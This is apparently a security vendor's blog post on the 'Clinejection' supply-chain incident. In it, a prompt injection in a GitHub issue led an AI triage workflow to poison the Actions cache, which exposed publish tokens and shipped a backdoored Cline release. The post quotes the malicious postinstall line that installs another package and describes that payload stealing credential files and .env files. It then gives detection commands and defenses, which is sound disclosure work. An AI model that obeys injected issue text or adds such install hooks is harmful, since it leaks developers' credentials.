Skip to main content
ShipSafe
All posts
ClineSupply ChainSecurityNPM

Clinejection: How One PR Compromised an AI Coding Agent Used by Millions

Between Feb 17 3:26am PT and 11:30am PT 2026, every developer who installed cline@2.3.0 got a postinstall payload. Here's how it happened, how to check if you were hit, and the AI-tool supply-chain lessons.

8 min read

On February 17 2026, between 3:26am and 11:30am Pacific Time, every developer who ran npm install cline installed a backdoor. The package was Cline — the open-source AI coding agent for VS Code, the one with millions of installs.

The version was 2.3.0. The payload was a postinstall script that pulled in another package called openclaw. The publish token used to ship 2.3.0 wasn't Cline's. It belonged to an attacker who had spent eight weeks chaining a single GitHub issue into supply-chain compromise of an AI coding tool.

This is the story of "Clinejection" — and what it tells you about trusting AI tools.

1. The attack chain

The exploit chain has four links. Each one was an architectural choice that made sense at the time. Stacked together, they ended in a publish-token compromise.

Step 1 — Issue triage bot

Cline's repo had a GitHub Actions workflow called Claude Issue Triage. Every new issue went into Claude for labeling. The workflow ran on: issues, which fires on any issue from any GitHub account.

Step 2 — Prompt injection in the issue body

Adnan Khan's PoC issue body contained instructions for Claude: write a specific cache entry to GitHub Actions cache. Claude, doing its job, called the tools the workflow gave it. The cache entry got written.

Step 3 — Cache poisoning to pivot

GitHub Actions caches are shared across workflows in the same repo. The poisoned cache entry was picked up by the Publish Nightly Release workflow — which runs with the VSCE_PAT and OVSX_PAT tokens for publishing to VS Code Marketplace and Open VSX.

Step 4 — Publish a backdoor

With publish tokens in hand, the attacker shipped cline@2.3.0. The new package.json had one extra line: "postinstall": "npm install -g openclaw@latest". Every install pulled openclaw.

2. What openclaw did

Public analysis is still surfacing the full capability set. What's confirmed:

  • Read ~/.npmrc, ~/.gitconfig, ~/.aws/credentials, environment variables exposed to the postinstall.
  • Beaconed home to a callback URL with a host fingerprint.
  • Searched for and uploaded .env files in any directory the install user had read access to.

Worst case for you: any token, key, or credential reachable from your shell during the install window is compromised. Cline runs in VS Code which often has access to your full home directory — the blast radius is wide.

3. Check if you were hit

Five commands. Run them in order.

# 1. Any cline 2.3.0 globally?
npm ls -g cline

# 2. openclaw anywhere?
npm ls -g openclaw
find ~ -name "openclaw" -type d 2>/dev/null

# 3. NPM install logs from the affected window
ls -lat ~/.npm/_logs/ | head -20
# Look for entries between 2026-02-17 11:26 UTC and 19:30 UTC

# 4. Shell history for "openclaw" or "cline@2.3"
grep -E "openclaw|cline@2\.3" ~/.zsh_history ~/.bash_history 2>/dev/null

# 5. Outbound connections you can't account for
# Check your firewall logs or run lsof -i if the install is still active

If any of those return positive results: treat the host as compromised. Rotate every token that lived on the machine during the install window — npm publish tokens, AWS keys, GitHub PATs, Anthropic and OpenAI keys, SSH keys, browser session cookies for anything sensitive.

Don't just npm uninstall and move on. The package was active long enough to read everything.

4. How to defend against this class

  1. Pin AI-tool dependencies to exact versions. Lockfiles aren't optional. If your package.json says "cline": "^2.0.0" and you ran npm install in the wrong eight hours, you got 2.3.0. ShipSafe flags missing lockfiles as deps/no-lockfile.
  2. Block postinstall scripts for AI tools. npm install --ignore-scripts for any AI-coding-agent dependency. If the tool needs postinstall to work, ship it as a binary or a separate setup step you run manually.
  3. Run AI tools in a less-privileged shell. A dedicated user, a container, or at minimum a shell with limited env-var exposure. Postinstall runs whatever your shell can read.
  4. Watch for the postinstall pattern. Any new dependency whose package.json has a postinstall that runs npm install of another package is suspicious.

5. What AI-tool maintainers should learn

If you ship an AI tool, the Clinejection chain is your threat model:

  • Never run an LLM-driven workflow on untrusted input (public issues, PR bodies, comments) with privileged credentials in the same job.
  • Separate triage jobs (untrusted input, no secrets) from publish jobs (no untrusted input, secrets only).
  • GitHub Actions cache is a pivot point. Treat anything written by an untrusted job as untrusted everywhere.
  • Publish tokens deserve hardware-backed MFA and OIDC-based publishing. PATs in CI variables are a single point of failure.

The Cline maintainers responded fast and well after disclosure. The lesson isn't that they did anything obviously stupid — it's that the architecture of "AI-driven CI with high-privilege publishing" is fragile in ways that aren't obvious until you see the chain completed.

The bottom line

AI tools are now critical infrastructure for a lot of developers. They get installed by the million. The same supply-chain hygiene you apply to your runtime dependencies needs to apply double to your AI dev tools — because they run with your user privileges and read everything in your home directory.

Related: Comment and Control — the same class of attack but pointed at your CI, not the AI tool's.

Is your app cooked?

Paste your GitHub URL. 2 minutes. We'll tell you exactly what AI missed — free, no card.

Scan My App Free